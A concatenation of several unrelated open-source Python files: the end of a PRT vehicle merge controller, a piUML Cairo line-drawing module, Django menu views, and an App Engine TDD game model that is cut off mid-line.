station_merge_time = spline.get_time_from_dist(onramp_dist - initial.pos + vehicle.length, now) ## ## if self._is_rear_vehicle_conflict(idx+1, slots, station_zone, station.merge, station_merge_time): ## continue ## ## new_slot = MergeSlot(spline.t[-1] - self.HEADWAY, ## spline.t[-1] + vehicle.length/self.LINE_SPEED, ## station_zone, ## vehicle, ## spline, ## vehicle.ts_id, ## self) ## break ## except FatalTrajectoryError: ## new_slot = None ## continue ## ## # Front vehicle is still approaching the station-merge. ## else: ## # When the tail of front vehicle passes station-merge point ## front_station_merge_time = front_slot.spline.get_time_from_dist( ## station_merge_offset - front_knot.pos + front_slot.vehicle.length, now) ## ## front_station_merge_knot = front_slot.spline.evaluate(front_station_merge_time) ## ## onramp_knot = Knot(onramp_dist + vehicle.length, # measure from the tail of the vehicle to be consistant ## front_station_merge_knot.vel, ## 0 if front_station_merge_knot.accel < TrajectorySolver.a_threshold else front_station_merge_knot.accel, ## None) ## onramp_spline = vehicle.traj_solver.target_position(initial, onramp_knot, max_speed=onramp_knot.vel) ## ## wait_dur = (front_station_merge_time + self.HEADWAY) - onramp_spline.t[-1] ## wait_dur = max(0, wait_dur) ## launch_time = now + wait_dur ## ## if wait_dur > 0: ## # recreate the onramp_spline, waiting to accelerate until launch_time ## onramp_spline = CubicSpline([initial.pos] + onramp_spline.q, ## [0] + onramp_spline.v, ## [0] + onramp_spline.a, ## [0] + onramp_spline.j, ## [initial.time] + [time + wait_dur for time in onramp_spline.t]) ## ## onramp_knot.time = onramp_spline.t[-1] ## final = Knot(merge_dist, self.LINE_SPEED, 0, front_slot.end_time + self.HEADWAY) # ## try: ## merge_spline = vehicle.traj_solver.target_time(onramp_knot, final, max_speed=self.LINE_SPEED) ## spline = onramp_spline.concat(merge_spline) ## ## new_slot = MergeSlot(spline.t[-1] - self.HEADWAY, ## spline.t[-1] + vehicle.length/self.LINE_SPEED, ## station_zone, ## vehicle, ## spline, ## vehicle.ts_id, ## self) ## break ## ## except FatalTrajectoryError: ## # The wait_dur was negative (too late to merge right after ## # the front vehicle passes the station-merge point), and ## # we weren't able to catch up to the front vehicle by the ## # main-merge point. ## assert (front_station_merge_time + self.HEADWAY) - onramp_spline.t[-1] < 0 # negative wait_dur ## assert wait_dur == 0 # assumed below that the onramp_spline wasn't changed ## ## # If the spot we're trying to slip into is large enough, ## # still mimic the front vehicle's trajectory. This will ## # leave an abs(wait_dur) sec gap in the reservations between ## # front_slot and new_slot ## gap_dur = onramp_spline.t[-1] - (front_station_merge_time + self.HEADWAY) # neg of the wait_dur ## ## # Gap between slots must be large enough to fit a new slot + gap_dur ## if rear_slot.start_time - front_slot.end_time >= min_slot_size + gap_dur: ## final.time += gap_dur ## merge_spline = vehicle.traj_solver.target_time(onramp_knot, final, max_speed=self.LINE_SPEED) ## spline = onramp_spline.concat(merge_spline) ## ## new_slot = MergeSlot(spline.t[-1] - self.HEADWAY, ## spline.t[-1] + vehicle.length/self.LINE_SPEED, ## station_zone, ## vehicle, ## spline, ## vehicle.ts_id, ## self) ## break ## else: ## new_slot = None ## continue ## ## assert new_slot is not None ## ## # DEBUG ## onramp_dist, onramp_path = self.manager.get_path(vehicle.ts_id, station.merge) ## station_merge_knot = Knot(onramp_dist, self.LINE_SPEED, 0, None) ## onramp_spline = vehicle.traj_solver.target_position(initial, station_merge_knot, max_speed=self.LINE_SPEED) ## station_merge_knot.time = onramp_spline.t[-1] ## ## merge_dist, merge_path = self.manager.get_path(station.merge, self.outlet) ## merge_knot = Knot(merge_dist, self.LINE_SPEED, 0, None) ## merge_spline = vehicle.traj_solver.target_position(station_merge_knot, merge_knot, max_speed=self.LINE_SPEED) ## merge_knot.time = merge_spline.t[-1] ## ## no_wait_spline = onramp_spline.concat(merge_spline) ## min_launch_duration = onramp_spline.t[-1] - onramp_spline.t[0] ## min_to_merge_duration = merge_spline.t[-1] - merge_spline.t[0] ## f_slot, r_slot = self._find_usable_gap(now, station, min_slot_size, min_launch_duration, ## min_to_merge_duration, self.LINE_SPEED, ## self.HEADWAY, vehicle.length) ## assert f_slot is front_slot ## assert r_slot is rear_slot ## # END DEBUG ## ## try: ## assert new_slot.end_time <= rear_slot.start_time + 2*TrajectorySolver.t_threshold ## insert_idx = self.reservations.index(rear_slot) ## self.reservations.insert(insert_idx, new_slot) ## except ValueError: ## # Rear slot wasn't in self.reservations; it was a dummy slot. ## if __debug__ and self.reservations: ## assert new_slot.start_time > self.reservations[-1].end_time - 2*TrajectorySolver.t_threshold ## self.reservations.append(new_slot) ## return new_slot, launch_time def _is_rear_vehicle_conflict(self, rear_slot_idx, slots, station_zone, station_merge_ts_id, launch_backend_merge_time): """A helper function for the 'create_station_merge_slot' function. Returns True if a vehicle coming from the rear will interfere with the launch vehicle at the station merge point. Returns False otherwise.""" # HEADWAY seconds after the merging vehicle's tail reaches the # station_merge point, it is okay for the rear vehicle's nose # to reach the station merge point. Only care about the first vehicle # that is in the same zone as the station. while rear_slot_idx < len(slots): rear_slot = slots[rear_slot_idx] if rear_slot.zone != station_zone: rear_slot_idx += 1 else: try: station_merge_path_idx = rear_slot.vehicle.path.index(station_merge_ts_id) # TODO: Don't use vehicle.estimate.pose, instead evaluate the spline at the appropriate time and do the position offset manually. # Removes the need for the fake path hack. rear_knot = rear_slot.vehicle.estimate_pose(launch_backend_merge_time + self.HEADWAY, station_merge_path_idx) except ValueError: # fs vehicle's path doesn't take it the the station_merge. # make a temporary path that would carry the vehicle to the outlet. try: tmp_idx = self.zone_ids[rear_slot.zone].index(rear_slot.vehicle.path[0]) tmp_path = self.zone_ids[rear_slot.zone][tmp_idx:] + [self.outlet] except ValueError: tmp_path_length, tmp_path = self.manager.get_path(rear_slot.vehicle.path[0], self.outlet) rear_knot = rear_slot.vehicle.estimate_pose(launch_backend_merge_time, idx=len(tmp_path)-1, path=tmp_path) if rear_knot.pos > 0: return True else: return False return False def cancel_merge_slot(self, slot): assert isinstance(slot, MergeSlot) self.reservations.remove(slot) # DEPRECATED!!! def manage_(self, vehicle, now): """Creates a non-conflicting MergeSlot for vehicle and adds it to self.reservations. Alters the vehicle's trajectory in order for it to arrive at the merge point at the reserved time. TODO: Move the trajectory altering logic to the Vehicle class. Expand the MergeSlot class so that it contains all information that the vehicle will need to make the trajectory chanege.""" # TODO: What to do during startup, when vehicles are still getting up to line_speed??? assert isinstance(vehicle, Vehicle) knot = vehicle.estimate_pose(now) offset = self.offsets[vehicle.ts_id] v_spline = vehicle.get_spline() v_pos = knot.pos + offset # negative number. 0 is merge point v_rear_pos = v_pos - vehicle.length available_maneuver_dist = self.cutoff - v_pos # Vehicle is not intending to stop at a station in the Merge's zone of control. if vehicle.trip.dest_station not in self.stations: v_nose_time = v_spline.get_time_from_dist(-v_pos, now) # nose reaches merge point v_start_time = v_nose_time - self.HEADWAY v_end_time = v_spline.get_time_from_dist(-v_pos + vehicle.length, now) # Vehicle is intending to stop at a station, and is not expected to go # all the way to the merge point. else: # If the vehicle has a berth already reserved at the station, then # we can be assured that the vehicle will not be waived off, and thus # the vehicle doesn't need a MergeSlot. if vehicle.has_berth_reservation(): return None # Otherwise the vehicle needs a MergeSlot in case it gets waived off # from the station. This MergeSlot will go unused if the vehicle # sucessfully gains entry to the station. We can't use the # vehicle's current trajectory to estimate arrival at the merge # point, since that trajectory is for the vehicle entering the # station. Create a new spline that goes on to the merge point, then # alter that. merge_knot = Knot(knot.pos - v_pos, self.LINE_SPEED, 0, None) # minus v_pos because it's a negative distance v_spline = vehicle.traj_solver.target_position(knot, merge_knot) stop_pos = None # decide which zone the vehicle is in. This is needed in # order to stop vehicles at an appropriate spot if vehicle.ts_id in self.zone_ids[0]: zone = 0 elif vehicle.ts_id in self.zone_ids[1]: zone = 1 else: raise Exception("Vehicle isn't in Merge's zone of control.") if v_rear_pos >= self._decision_point - 0.0001: # give a little flex for rounding error try: lv_slot = self.reservations[-1] assert isinstance(lv_slot, MergeSlot) if lv_slot.vehicle is vehicle: # guard against manage being called twice on the same vehicle return v_lv_gap_time = v_start_time - lv_slot.end_time # vehicles on course to overlap at merge point if v_lv_gap_time < -0.00001: try: lv2_slot = self.reservations[-2] except IndexError: lv2_slot = None slip_time = self._slip_ahead(lv_slot, lv2_slot, -v_lv_gap_time, available_maneuver_dist, now) v_lv_gap_time += slip_time # vehicles are still on course to overlap at merge point, either # the lv couldn't advance, or couldn't advance enough. # vehicle slips back to make room. if v_lv_gap_time < -0.00001: desired_slip_dist = v_lv_gap_time * self.LINE_SPEED slip_dist, required_maneuver_dist = self._get_achievable_slip(available_maneuver_dist, desired_slip_dist, vehicle) # if the vehicle comes to a complete stop while slipping back, decide where to park it if slip_dist <= self._slips[vehicle.model][0]: for slot in reversed(self.reservations): if slot.zone == zone: if slot.stop_pos is not None: stop_pos = slot.stop_pos - slot.vehicle.length - 1.0 # arbitrarily chose 1.0 meter as parked vehicle separation maneuver_start_pos = stop_pos - vehicle.get_dist_to_stop() break if stop_pos is None: # Within the zone, the leading vehicle doesn't stop stop_pos = self.cutoff - slot.vehicle.get_dist_to_line_speed() maneuver_start_pos = stop_pos - vehicle.get_dist_to_stop() else: # delay the maneuver until the last possible moment (best choice?) stop_pos = None maneuver_start_pos = self.cutoff - required_maneuver_dist maneuver_start_dist = maneuver_start_pos - v_pos assert maneuver_start_dist >= 0 - 2*TrajectorySolver.q_threshold, maneuver_start_dist maneuver_start_time = vehicle.spline.get_time_from_dist(maneuver_start_dist, now) if slip_dist != desired_slip_dist: raise Exception("Unable to slip back by the required amount: %.3f, %.3f" % (desired_slip_dist, slip_dist)) slip_spline = vehicle.traj_solver.slip(vehicle.spline, maneuver_start_time, slip_dist) vehicle.set_spline(slip_spline) v_nose_time = slip_spline.get_time_from_dist(-v_pos, now) # nose reaches merge point v_start_time = v_nose_time - self.HEADWAY v_end_time = v_nose_time + vehicle.length/self.LINE_SPEED else: # current vehicle does not need to adjust trajectory slip_dist = 0 merge_slot = MergeSlot(v_start_time, v_end_time, slip_dist, stop_pos, zone, vehicle) assert merge_slot.start_time >= lv_slot.end_time - 2*TrajectorySolver.t_threshold, (merge_slot.start_time, lv_slot.end_time) self.reservations.append(merge_slot) except IndexError: # vehicle is the frontmost in the merge queue merge_slot = MergeSlot(v_start_time, v_end_time, 0, None, zone, vehicle) self.reservations.append(merge_slot) else: # Notify when rear of vehicle due to reach the decison point time = vehicle.spline.get_time_from_dist(self._decision_point - v_rear_pos, now) assert time >= now - 2*TrajectorySolver.t_threshold, (time, now) self.controller.set_fnc_notification(self.manage_, (vehicle, time), time) # call manage again # DEPRECATED!!! def _slip_ahead(self, slot, lead_slot, slip_time, avail_maneuver_dist, now): """Slips the vehicle in 'slot' ahead by 'slip_time' seconds. Returns the actual time slipped (may be less than requested time). Does not slip if the vehicle in slot has already slipped.""" assert isinstance(slot, MergeSlot) assert isinstance(lead_slot, MergeSlot) or lead_slot is None assert slip_time >= 0 - 2*TrajectorySolver.t_threshold, slip_time if slot.slip_dist is not None: return 0 vehicle = slot.vehicle spline = slot.spline knot = slot.vehicle.estimate_pose(now) offset = self.offsets[vehicle.ts_id] pos = knot.pos + offset if lead_slot is not None: slip_time_potential = slot.start_time - lead_slot.end_time assert slip_time_potential >= 0 -2*TrajectorySolver.t_threshold, slip_time_potential else: slip_time_potential = spline.get_time_from_dist(avail_maneuver_dist, now) - now # clearly too high. Rely on _get_achievable_slip to reduce it to a realistic value slip_dist_potential = slip_time_potential * self.LINE_SPEED slip_dist, req_maneuever_dist = self._get_achievable_slip(avail_maneuver_dist, slip_dist_potential, vehicle) # slip the desired amount, or the possible amount, whichever is less slip_dist = min(slip_time * self.LINE_SPEED, slip_dist) if slip_dist > 0: slip_spline = vehicle.traj_solver.slip(spline, now, slip_dist) vehicle.set_spline(slip_spline) slot.slip_dist = slip_dist slip_time = slip_dist / self.LINE_SPEED slot.start_time -= slip_time # slipping "ahead" means that it reaches the merge point sooner slot.end_time -= slip_time return slip_time else: return 0 # DEPRECATED!!! def _calc_max_slips(self, vehicles): # TODO: This uses vehicle's max velocity, and doesn't check the track's max vel if Merge._slips: return # only do calcs once slips = {} maneuver_dists = {} orig_spline = CubicSpline([0, 1000000], [Merge.LINE_SPEED, Merge.LINE_SPEED], [0, 0], [0], [0, 1000000/Merge.LINE_SPEED]) # 1000000 is arbitrarily large for vehicle in vehicles: assert isinstance(vehicle, Vehicle) if slips.get(vehicle.model): continue # find where the slip ahead function requires a linear amount of maneuver distance when slipping ahead tmp_spline = vehicle.traj_solver.target_velocity(Knot(0, Merge.LINE_SPEED, 0, 0), Knot(None, vehicle.v_max, 0, 0)) tmp_final = tmp_spline.evaluate(tmp_spline.t[-1]) tmp_spline = vehicle.traj_solver.target_velocity(tmp_final, Knot(None, Merge.LINE_SPEED, 0, None)) ahead_boundary = tmp_spline.q[-1] - tmp_spline.t[-1] * Merge.LINE_SPEED # find where the slip back function requires a constant amount of maneuver distance when slipping back tmp_spline = vehicle.traj_solver.target_velocity(Knot(0, Merge.LINE_SPEED, 0, 0), Knot(None, 0, 0, 0)) tmp_final = tmp_spline.evaluate(tmp_spline.t[-1]) tmp_spline = vehicle.traj_solver.target_velocity(tmp_final, Knot(None, Merge.LINE_SPEED, 0, 0)) back_boundary = tmp_spline.q[-1] - tmp_spline.t[-1] * Merge.LINE_SPEED # sample the function at fixed interval, cache slip dists and maneuver dists in parallel arrays m_dists = [] # maneuver s_dists = [] # slip for s in arange(back_boundary, ahead_boundary, Merge._SAMPLE_INTERVAL): s_dists.append(s) if s == 0: m_dists.append(0) else: slip_spline = vehicle.traj_solver.slip(orig_spline, 0, s) m_dists.append(slip_spline.q[-2]) # Add the ahead_boundary point as the last element slip_spline = vehicle.traj_solver.slip(orig_spline, 0, ahead_boundary) s_dists.append(ahead_boundary) m_dists.append(slip_spline.q[-2]) slips[vehicle.model] = s_dists maneuver_dists[vehicle.model] = m_dists Merge._slips = slips Merge._maneuver_dists = maneuver_dists # DEPRECATED!!! def _get_achievable_slip(self, maneuver_dist, desired_slip, vehicle): assert isinstance(vehicle, Vehicle) assert maneuver_dist >= 0 - 2*TrajectorySolver.q_threshold slips = self._slips[vehicle.model] maneuver_dists = self._maneuver_dists[vehicle.model] slip = 0 maneuver = 0 if desired_slip < 0: # in the constant region, where any additional slip takes the same maneuver dist if desired_slip < slips[0] and maneuver_dist > maneuver_dists[0]: slip = desired_slip maneuver = maneuver_dists[0] else: for idx in range(len(slips)): # slips and maneuver_dists are the same length # a little complicated because the required manuever dist is not a monotonic function of slip if slips[idx] < desired_slip and slips[idx+1] > desired_slip and \ maneuver_dist > maneuver_dists[idx] and maneuver_dist > maneuver_dists[idx+1]: slip = desired_slip maneuver = max(maneuver_dists[idx], maneuver_dists[idx+1]) break elif slips[idx] > desired_slip and maneuver_dist > maneuver_dists[idx]: slip = slips[idx] maneuver = maneuver_dists[idx] break else: continue elif desired_slip > 0: # in the linear region, where the vehicle is advancing if desired_slip >= slips[-1] and maneuver_dist >= maneuver_dists[-1]: slope = vehicle.v_max/(vehicle.v_max - self.LINE_SPEED) slip = slips[-1] + min(desired_slip - slips[-1], (maneuver_dist - maneuver_dists[-1]) / slope) maneuver = maneuver_dists[-1] + min(maneuver_dist - maneuver_dists[-1], (desired_slip - slips[-1]) * slope) else: for idx in range(len(slips)-1, -1, -1): # iterate backwards if maneuver_dist < maneuver_dists[idx]: continue elif desired_slip > slips[idx]: # desired_slip exceeds what can be achieved within maneuver_dist. Settle for less. slip = slips[idx] maneuver = maneuver_dists[idx] break else: # desired_slip <= slips[idx] and maneuver_dist >= maneuver_dists[idx] slip = desired_slip # desired slip is achievable maneuver = maneuver_dists[idx] break # else leave slip and maneuver as zeros return slip, maneuver def _slot_time(self, vehicle): assert isinstance(vehicle, Vehicle) return vehicle.length/self.LINE_SPEED + self.HEADWAY def _slot_length(self, vehicle): assert isinstance(vehicle, Vehicle) return vehicle.length + self.HEADWAY * self.LINE_SPEED class MergeSlot(object): """Contains information about a vehicle's reservation of a merge slot. The rear of the slot is aligned with the tail of the vehicle, and the front of the slot includes the buffer distance indicated by HEADWAY and LINE_SPEED. """ def __init__(self, start_time, end_time, zone, vehicle, spline, spline_coordinate_frame, merge): """Holds data relevant to a vehicle's planned trip through the merge point of a Merge. start_time: When the MergeSlot's reservation of the merge point begins. Measured in seconds, where 0 is the start of the sim. end_time: When the reservation ends. The vehicle should be clear of the merge point at this time. zone: Which zone of the Merge controller the vehicle is approaching from. vehicle: The Vehicle instance for which the MergeSlot has been created. spline: The spline generated to check that the reserved start and end times can be viably achieved by the vehicle. The spline must run to the end of the merge's zone of control and no further. spline_coordinate_frame: The id of the tracksegment that is the spline's coordinate frame. merge: The Merge instance for which the MergeSlot has been created. relinquished: Indicates that the vehicle that was originally using the MergeSlot has entered a station, is no longer in the Merge's zone of control, and that another vehicle may safely reuse the slot if it is able to synch up with the slot's spline. """ assert start_time >= 0 assert end_time >= 0 assert end_time >= start_time if __debug__ and spline is not None: assert spline.t[-1] < end_time + 50 # Ensure that the spline wasn't lengthened to the end of the simulation. assert zone in (0,1,None) assert isinstance(vehicle, Vehicle) or vehicle is None assert isinstance(spline, CubicSpline) or spline is None assert isinstance(spline_coordinate_frame, int) assert isinstance(merge, Merge) self.start_time = start_time # the time at which the vehicle claims the merge point self.end_time = end_time # the time at which the vehicle releases the merge point self.zone = zone self.vehicle = vehicle self.spline = spline self.spline_frame = spline_coordinate_frame self.merge = merge self.relinquished = False def __str__(self): try: return "Start: %.3f, End: %.3f, Zone: %d, Vehicle: %d, Relinquished: %s" % \ (self.start_time, self.end_time, self.zone, self.vehicle.id, self.relinquished) except AttributeError: return "Start: %.3f, End: %.3f, Zone: %s, Vehicle: %s, Relinquished: %s" % \ (self.start_time, self.end_time, str(self.zone), str(self.vehicle), self.relinquished) class Switch(object): """May force vehicles to reroute, based on conditions downstream of the switch.""" def __init__(self, switch_node, graph, vehicles, tracks2station): assert isinstance(graph, networkx.classes.DiGraph) self.inlet = switch_node # the segment which has 2 successors self.outlets = [None, None] # the last segments in the zone of control self.stations = set() self.zone_lengths = [-1, -1] # Walk downsteam from the split zones = graph.successors(switch_node) assert len(zones) == 2 self.offsets = {} for zone_num, node in enumerate(zones): offset = 0 up_node = switch_node # upstream down_node = node # downstream while True: length = graph[up_node][down_node]['weight'] self.offsets[up_node] = offset offset += length # moved onto a non-station merge. End of zone. down_predecessors = graph.predecessors(down_node) if len(down_predecessors) > 1: is_station = False for p_node in down_predecessors: if p_node in tracks2station: is_station = True break if not is_station: self.zone_lengths[zone_num] = offset self.outlets[zone_num] = up_node break # TODO: Notify PRT controller that I'm associated with switch. May need to implement Switches sooner, rather than later # move downstream down_nodes = graph.successors(down_node) if len(down_nodes) == 1: up_node = down_node down_node = down_nodes[0] # encountered a split. If split is from a station, continue walking down main track elif len(down_nodes) > 1: assert len(down_nodes) == 2 if down_nodes[0] in tracks2station: up_node = down_node down_node = down_nodes[1] # take the other path self.stations.add(tracks2station[down_nodes[0]]) elif down_nodes[1] in tracks2station: up_node = down_node down_node = down_nodes[0] # take the other path self.stations.add(tracks2station[down_nodes[1]]) else: # Switch is not due to a station. End of zone. self.zone_lengths[zone_num] = offset self.outlets[zone_num] = up_node break else: # len(down_nodes) == 0: raise Exception("Not able to handle dead end track, trackSegment %d" % down_node) def write_stats_report(vehicles, stations, file_path): """Writes controller specific statistics to file found at file_path. Uses tables in CSV format. Parameters: vehicles -- A dict containing Vehicle objects, keyed by id. stations -- A dict containing Station objects, keyed by id. Returns: None """ with open(file_path, 'w') as f: f.write("prt_controller.py Statistics\n\n") f.write("Station Stats\n") f.write("id, # Launches, Total Wait, Min Wait, Ave Wait, Max Wait\n") s_list = stations.values() s_list.sort() for s in s_list: wait_times = s.get_launch_wait_times() if len(wait_times) > 0: sum_time = sum(wait_times) min_time = min(wait_times) ave_time = sum_time/len(wait_times) max_time = max(wait_times) else: sum_time = 0 min_time = 0 ave_time = 0 max_time = 0 f.write("%d, %d, %.1f, %.1f, %.1f, %.1f\n" \ % (s.id, len(wait_times), sum_time, min_time, ave_time, max_time)) f.write("\n") f.write("Vehicle Stats\n") states_string = ', '.join(States.strings) f.write("id, %s, total time, # Wave Offs\n" % states_string) v_list = vehicles.values() v_list.sort() num_states = len(States.strings) times = [0]*num_states totals = [0]*num_states for v in v_list: v.state = States.NONE # Causes the last interval to be recorded. for i in range(num_states): times[i] = v.time_spent_in_states[i] totals[i] += v.time_spent_in_states[i] times_str = ', '.join('%.3f' % time for time in times) f.write("%d, %s, %.3f, %d\n" % (v.id, times_str, sum(times), v.num_wave_offs)) f.write("Total:, %s" % ', '.join('%.3f' % time for time in totals)) def main(options): PrtController.LINE_SPEED = options.line_speed PrtController.HEADWAY = options.headway PrtController.SWITCH_TIME = options.switch_time Merge.LINE_SPEED = options.line_speed Merge.HEADWAY = options.headway Station.SPEED_LIMIT = options.station_speed ctrl = PrtController(options.logfile, options.comm_logfile, options.stats_file) ctrl.connect(options.server, options.port) if __name__ == '__main__': options_parser = optparse.OptionParser(usage="usage: %prog [options]") options_parser.add_option("--logfile", dest="logfile", default="./ctrl.log", metavar="FILE", help="Log events to FILE.") options_parser.add_option("--comm_logfile", dest="comm_logfile", default="./ctrl_comm.log", metavar="FILE", help="Log communication messages to FILE.") options_parser.add_option("--stats_file", dest="stats_file", default="./ctrl_stats.csv", metavar="FILE", help="Log statistics to FILE.") options_parser.add_option("--server", dest="server", default="localhost", help="The IP address of the server (simulator). Default is %default") options_parser.add_option("-p", "--port", type="int", dest="port", default=64444, help="TCP Port to connect to. Default is: %default") options_parser.add_option("--line_speed", type="float", dest="line_speed", default=25, help="The cruising speed for vehicles on the main line, in m/s. Default is %default") options_parser.add_option("--station_speed", type="float", dest="station_speed", default=2.4, help="The maximum speed for vehicles on station platforms, in m/s. " + \ "Setting too high may negatively affect computation performance. Default is %default") options_parser.add_option("--headway", type="float", dest="headway", default="2.0", help="The minimum following time for vehicles, in seconds. Measured from tip-to-tail.") options_parser.add_option("--switch_time", type="float", dest="switch_time", default="0.1", help="Time required to switch which path the vehicle will take at the next branching junction.") options_parser.add_option("--profile", dest="profile_path", metavar="FILE", help="Log performance data to FILE. See 'http://docs.python.org/library/profile.html'") options, args = options_parser.parse_args() if len(args) != 0: options_parser.error("Expected zero positional arguments. Received: %s" % ' '.join(args)) if options.profile_path is not None: import cProfile if __debug__: import warnings warnings.warn("Profiling prt_controller.py in debug mode! Specify the -O option for python to disable debug code.") else: print "Profiling prt_controller.py" cProfile.run('main(options)', filename=options.profile_path) else: main(options)
UTF-8
Python
false
false
2,011
5,540,507,829,083
191745d25312653a6495c304cf23bfa2bd91b6c4
9f9c31de38e784cabca9ce029428abf30cb1c47b
/src/piuml/renderer/line.py
32ef7b864401f627284e5bbf5593ba3624be0bcc
[]
no_license
wrobell/piuml
https://github.com/wrobell/piuml
53501516c00cf8218ac23513cccfb10393a1e213
a48d9dba368e8a41dca7626ad6a5ffcf55636f5e
refs/heads/master
2020-06-02T02:23:57.919393
2012-10-09T20:29:35
2012-10-09T20:29:35
2,400,786
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# # piUML - UML diagram generator. # # Copyright (C) 2010 - 2012 by Artur Wroblewski <[email protected]> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # """ piUML renderer routines for lines. """ import cairo from math import atan2 def draw_line(cr, edges, draw_tail=None, draw_head=None, dash=None): if draw_tail is None: draw_tail = draw_tail_none if draw_head is None: draw_head = draw_head_none p0, p1 = edges[:2] t_angle = atan2(p1.y - p0.y, p1.x - p0.x) p1, p0 = edges[-2:] h_angle = atan2(p1.y - p0.y, p1.x - p0.x) cr.save() cr.set_line_join(cairo.LINE_JOIN_ROUND) draw_line_end(cr, edges[0], t_angle, draw_tail) if dash is not None: cr.set_dash(dash, 0) for x, y in edges[1:-1]: cr.line_to(x, y) draw_line_end(cr, edges[-1], h_angle, draw_head) cr.stroke() cr.restore() def draw_line_end(cr, pos, angle, draw): cr.save() cr.translate(*pos) cr.rotate(angle) draw(cr) cr.restore() def draw_head_none(cr): """ Default head drawer: move cursor to the first handle. """ cr.line_to(0, 0) def draw_tail_none(cr): """ Default tail drawer: draw line to the last handle. """ cr.stroke() cr.move_to(0, 0) def draw_head_x(cr): """ Draw an 'x' on the line end to indicate no navigability at association head. """ cr.line_to(0, 0) cr.move_to(6, -4) cr.rel_line_to(8, 8) cr.rel_move_to(0, -8) cr.rel_line_to(-8, 8) cr.stroke() def draw_tail_x(cr): """ Draw an 'x' on the line end to indicate no navigability at association tail. """ cr.move_to(6, -4) cr.rel_line_to(8, 8) cr.rel_move_to(0, -8) cr.rel_line_to(-8, 8) cr.stroke() cr.move_to(0, 0) def draw_diamond(cr): """ Helper function to draw diamond shape for shared and composite aggregations. """ cr.move_to(20, 0) cr.line_to(10, -6) cr.line_to(0, 0) cr.line_to(10, 6) cr.close_path() def draw_head_diamond(cr, filled=False): """ Draw a closed diamond on the line end to indicate composite aggregation at association head. """ cr.line_to(20, 0) cr.stroke() draw_diamond(cr) if filled: cr.fill_preserve() cr.stroke() def draw_tail_diamond(cr, filled=False): """ Draw a closed diamond on the line end to indicate composite aggregation at association tail. """ draw_diamond(cr) if filled: cr.fill_preserve() cr.stroke() cr.move_to(20, 0) def draw_head_arrow(cr, fill=False): """ Draw a normal arrow to indicate association end navigability at association head. """ dash = cr.get_dash() # finish the line cr.line_to(0, 0) cr.stroke() # draw the arrow cr.set_dash((), 0) cr.move_to(15, -6) cr.line_to(0, 0) cr.line_to(15, 6) if fill: cr.close_path() cr.fill_preserve() cr.stroke() cr.set_dash(*dash) def draw_tail_arrow(cr, fill=False): """ Draw a normal arrow to indicate association end navigability at association tail. """ cr.move_to(15, -6) cr.line_to(0, 0) cr.line_to(15, 6) if fill: cr.close_path() cr.fill_preserve() cr.stroke() cr.move_to(0, 0) def draw_head_triangle(cr): dash = cr.get_dash() cr.line_to(15, 0) cr.stroke() # draw the triangle cr.set_dash((), 0) cr.move_to(0, 0) cr.line_to(15, -10) cr.line_to(15, 10) cr.close_path() cr.stroke() cr.set_dash(*dash) def draw_tail_triangle(cr): cr.move_to(0, 0) cr.line_to(15, -10) cr.line_to(15, 10) cr.close_path() cr.stroke() cr.move_to(15, 0) # vim: sw=4:et:ai
UTF-8
Python
false
false
2,012
15,229,954,078,672
86d66cc1d2e411e6cc883ba171bd0b206c8250c7
18ab3f2eccc3ddc8fb9b262831bd50624272f11a
/cardapio/views.py
380ee5d81e88adf6cf3c1dd4a9395aa8a6bbedf8
[ "MIT" ]
permissive
GDGAracaju/gdg-django-lab
https://github.com/GDGAracaju/gdg-django-lab
d90640ffd266f4dd2e82313d7d5aa3009651b623
36f517a0df9736e303347d0b512a7a8d0f860b0c
refs/heads/master
2022-03-06T21:27:35.629832
2014-06-09T03:01:04
2014-06-09T03:01:04
20,616,110
0
0
MIT
true
2022-02-02T00:29:08
2014-06-08T12:20:35
2014-06-09T14:18:13
2022-02-02T00:29:07
4,050
0
0
5
Python
false
false
#!/usr/bin/python # coding: UTF-8 # Create your views here. from cardapio.models import Category from django.http import HttpResponse, HttpResponseRedirect from django.core.urlresolvers import reverse from django.shortcuts import render, get_object_or_404 def cardapio_index(request): latest_category_list = Category.objects.order_by('name') context = {'latest_category_list': latest_category_list} return render(request, 'cardapio/index.html', context) def detail(request, category_id): category = get_object_or_404(Category, pk=category_id) return render(request, 'cardapio/detail.html', {'category': category}) def add(request): return render(request, 'cardapio/add.html') def add_category(request): c = Category() try: c.name = request.POST['category'] c.save() except: return render(request, 'cardapio/add.html', { 'error_message': 'Algo errado :-(' }) return HttpResponseRedirect(reverse('cardapio:cardapio_index'))
UTF-8
Python
false
false
2,014
12,472,585,044,534
184d32ca1572021cbd1448103f444bfb9f48dbee
16363d7cbb082edf34a521f489a9b1eca69dc26f
/src/model/domain.py
65e8e10cc52eee74cbc3f4bc4c591b528e44f2f3
[]
no_license
rickvanderarend/tdd-should-be-fun
https://github.com/rickvanderarend/tdd-should-be-fun
9c01099fe77e9ab92c1e0534d8da56f183db3790
24a3ac3fd4864dbc504ff9fd5be1f00da24236a1
refs/heads/master
2020-05-17T11:41:44.871953
2012-01-27T19:20:10
2012-01-27T19:20:10
1,105,873
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
''' Created on 25 nov. 2010 @author: rickvanderarend ''' import re from google.appengine.ext import db from google.appengine.api import users from datetime import datetime import pprint pp = pprint.PrettyPrinter(indent=4) class Game(db.Model): name = db.StringProperty() start_implementation = db.TextProperty() published = db.BooleanProperty() author = db.UserProperty() date_created = db.DateTimeProperty() number_of_tests = db.IntegerProperty() @classmethod def Create(cls, name = None, author = users.get_current_user(), start_implementation = '', time = datetime.now()): game = cls() game.name = name if not name is None else "Game_" + str(author) + "_" + str(time) game.author = author game.published = True game.date_created = time game.number_of_tests = 0 return game def ChangeName(self, name): self.name = name return self def Publish(self): self.published = True return self def SetStartImplementation(self, impl): self.start_implementation = impl return self def GetNumberOfTests(self): return (self.number_of_tests) if not (self.number_of_tests is None) else 0 def GetTests(self): return db.GqlQuery("SELECT * FROM Test Where game = :1 ORDER BY number ASC", self); def AddTest(self, code): new_test = Test() if self.number_of_tests is None: self.number_of_tests = self.GetTests().count(1000) self.number_of_tests = self.number_of_tests + 1 self.save() new_test.game = self new_test.number = self.number_of_tests if users.get_current_user(): new_test.author = 